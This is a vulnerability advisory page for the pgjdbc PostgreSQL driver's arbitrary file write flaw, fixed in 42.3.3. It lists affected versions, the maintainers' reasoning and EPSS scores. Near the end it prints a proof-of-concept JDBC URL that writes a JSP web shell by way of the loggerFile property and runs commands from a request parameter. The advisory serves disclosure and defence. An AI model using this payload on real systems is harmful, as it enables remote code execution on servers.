Loading advisory.
Loading advisory.
pgjdbc Arbitrary File Write Vulnerability
The connection properties for configuring a pgjdbc connection are not meant to be exposed to an unauthenticated attacker.
Published 2022-02-16 00:08 UTC · Modified 2026-09-10 03:49 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|
| org.postgresql:postgresql | Maven | >= 42.1.0, < 42.3.3 versions 42.1.0, 42.1.0.jre7, 42.1.1, 42.1.1.jre6, 42.1.1.jre7, 42.1.2, 42.1.2.jre6, 42.1.2.jre7, 42.1.3, 42.1.3.jre6, 42.1.3.jre7, 42.1.4, 42.1.4.jre6, 42.1.4.jre7, 42.2.0, 42.2.0.jre6, 42.2.0.jre7, 42.2.1, 42.2.1.jre6, 42.2.1.jre7 and 84 more | 42.3.3 | No single command for Maven. Update to 42.3.3 in your build file. |
|---|
The connection properties for configuring a pgjdbc connection are not meant to be exposed to an unauthenticated attacker. While allowing an attacker to specify arbitrary connection properties could lead to a compromise of a system, that's a defect of an application that allows unauthenticated attackers that level of control.
It's not the job of the pgjdbc driver to decide whether a given log file location is acceptable. End user applications that use the pgjdbc driver must ensure that filenames are valid and restrict unauthenticated attackers from being able to supply arbitrary values. That's not specific to the pgjdbc driver either, it would be true for any library that can write to the application's local file system.
While we do not consider this a security issue with the driver, we have decided to remove the loggerFile and loggerLevel connection properties in the next release of the driver. Removal of those properties does not make exposing the JDBC URL or connection properties to an attacker safe and we continue to suggest that applications do not allow untrusted users to specify arbitrary connection properties. We are removing them to prevent misuse and their functionality can be delegated to java.util.logging.
If you identify an application that allows remote users to specify a complete JDBC URL or properties without validating it's contents, we encourage you to notify the application owner as that may be a security defect in that specific application.
It is possible to specify an arbitrary filename in the loggerFileName connection parameter "jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>"
This creates a valid JSP file which could lead to a Remote Code Execution
LoggerFile implementation has been removed and will be ignored by the driver, fixed in 42.3.3
sanitize the inputs to the driver
Reported by Allan Lou v3ged0ge@gmail.com
No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
EPSS went from 0.030 on 2026-11-24 to 0.027 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.030 | first score | v2026.06.15 |
| 2026-11-26 | 0.027 | 0.030 | v2026.06.15 |